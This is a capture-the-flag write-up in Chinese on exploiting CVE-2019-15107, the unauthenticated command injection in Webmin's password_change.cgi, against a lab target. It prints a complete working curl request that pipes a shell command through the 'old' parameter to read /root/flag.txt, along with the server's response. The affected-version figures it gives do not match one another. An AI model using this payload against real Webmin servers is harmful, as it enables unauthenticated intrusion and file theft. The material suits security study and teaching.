当前位置: 首页 > news >正文

玄机靶场-webmin未授权远程代码执行漏洞 WP

玄机靶场-webmin未授权远程代码执行漏洞 WP

入门级渗透题,1个步骤,考察 CVE-2019-15107——Webmin ≤1.920 版本中password_change.cgi的命令注入漏洞,无需任何认证即可直接执行系统命令,读取/root/flag.txt


1. 漏洞背景与原理

Webmin 是一款广泛使用的基于 Web 的 Unix/Linux 系统管理工具,默认运行在 10000 端口(HTTPS)。2019年8月,研究人员在 Webmin 1.890 版本中发现了一个后门(CVE-2019-15107),该后门被植入在password_change.cgi文件的密码过期处理逻辑中。

漏洞的核心在于:当用户密码已过期(expired=2)时,系统会调用password_change.cgi处理密码变更请求。在处理old(旧密码)参数时,代码直接将其拼接到 shell 命令中执行,而没有做任何过滤或转义。这意味着攻击者可以在old参数中注入任意 shell 命令,且整个过程无需登录认证

受影响版本:Webmin 1.882 ~ 1.921(后门植入期间发布的版本)。


2. 信息收集与端口确认

靶机 IP 为69.230.237.102,Webmin 默认运行在 10000 端口。先确认服务可达:

curl-sk-o/dev/null-w"%{http_code}""http://69.230.237.102:10000/"# 返回 200,服务正常运行

访问首页可以看到标准的 Webmin 登录界面,确认目标是 Webmin 服务。


3. 漏洞利用

构造 POST 请求发送到/password_change.cgi,关键参数:

  • user=root:指定目标用户
  • expired=2:触发密码过期处理流程(这是触发漏洞的关键)
  • old=test|cat /root/flag.txt:管道符注入,在旧密码验证失败的同时执行命令
  • new1=test&new2=test:新密码(随意填写)
curl-sk-XPOST"http://69.230.237.102:10000/password_change.cgi"\-H"Content-Type: application/x-www-form-urlencoded"\-H"Referer: http://69.230.237.102:10000/session_login.cgi"\--data"user=root&pam=&expired=2&old=test|cat /root/flag.txt&new1=test&new2=test"

服务端在处理请求时,执行了test|cat /root/flag.txt这条命令,并将cat /root/flag.txt的输出拼接在错误信息中返回:

Failed to change password : The current password is incorrect flag{e6d4db165611d5ec9be0f89c2a95fc8b}

命令执行成功,flag 直接出现在响应体中。

Flag 1:flag{e6d4db165611d5ec9be0f89c2a95fc8b}


总结

这道题完整还原了 CVE-2019-15107 的利用过程:Webmin 的密码过期处理功能在未认证状态下可访问,且对old参数没有做任何过滤,导致攻击者可以通过管道符注入任意命令。整个利用过程只需一条 curl 命令,是典型的"后门级"漏洞——代码中存在的不是逻辑缺陷,而是被恶意植入的后门代码。

Flag 汇总:

  1. 读取 /root/flag.txt:flag{e6d4db165611d5ec9be0f89c2a95fc8b}
http://www.jsqmd.com/news/698008/

相关文章:

  • 3分钟学会Bilibili视频下载:跨平台免费工具终极指南
  • Scikit-Learn高效机器学习7大实战技巧
  • 从供电协议到实战选型:一文读懂PoE、PoE+与PoE++的技术演进与场景适配
  • 【C++高吞吐MCP网关实战白皮书】:20年架构师亲测7大实现方案,吞吐量从12K→86K QPS的跃迁路径
  • 真正专业靠谱的包装设计推荐:认准这 6 家专业包装设计公司(专业设计公司绕不过去的选择) - 设计调研者
  • 别再只画条形图了!用Friedman-Nemenyi检验可视化,让你的论文结果更专业
  • 2025_NIPS_GUARDIAN: Safeguarding LLM Multi-Agent Collaborations with Temporal Graph Modeling
  • 收藏!2026 年版大模型核心精讲:Tools、Agent、Workflow 三者区别与落地层级详解
  • MarkDownload:从网页到笔记,三步打造你的知识库
  • ANOVA与Kruskal-Wallis检验在房地产数据分析中的应用
  • 探索1Fichier下载管理器:突破文件下载限制的智能解决方案
  • 在电脑上畅玩Switch游戏:Ryujinx模拟器终极使用指南
  • 如何用LizzieYzy在5分钟内搭建专业级围棋AI分析系统
  • 2026年知网检测AI率太高会被延毕吗?高效掌握高校AIGC审核标准与对策 - 降AI实验室
  • Linux kernel debug trace: ftrace
  • 5分钟快速上手KrkrzExtract:新一代krkrz游戏资源处理工具终极指南
  • 抖音无水印下载器终极指南:免费批量保存视频的完整教程
  • 2025届最火的AI论文平台解析与推荐
  • 计算机毕业设计Python+PyTorch恶意流量检测系统 信息安全 网络安全(源码+LW+PPT+讲解)
  • UltraScale+ 40G/50G以太网子系统IP核的GT时钟共享优化实践
  • ClickShow:为Windows鼠标操作增添可视化反馈的实用工具
  • 国内专业汽车零配件产品包装设计行业TOP5设计公司市场调研测评报告(2026版) - 设计调研者
  • 网络取证分析第一步:用Python+libpcap快速批量处理海量pcapng抓包文件
  • 3个步骤掌握curatedMetagenomicData:解锁人类微生物组研究的标准化数据宝库
  • 保姆级教程:用Realsense D435i和VINS-Fusion给PX4飞控做视觉定位,坐标转换避坑指南
  • Showdown.js 深度实战指南:JavaScript Markdown转换库的完整使用技巧
  • 3分钟搞定GitHub界面汉化:终极中文插件使用指南
  • 如何快速掌握SJTUThesis:面向新手的上海交通大学LaTeX论文模板完整指南
  • Qwen3-4B-Instruct效果展示:支持思维链(CoT)的超长数学证明生成
  • 基于 Qt C++ 开发对接 航天科工量子导航设备 的应用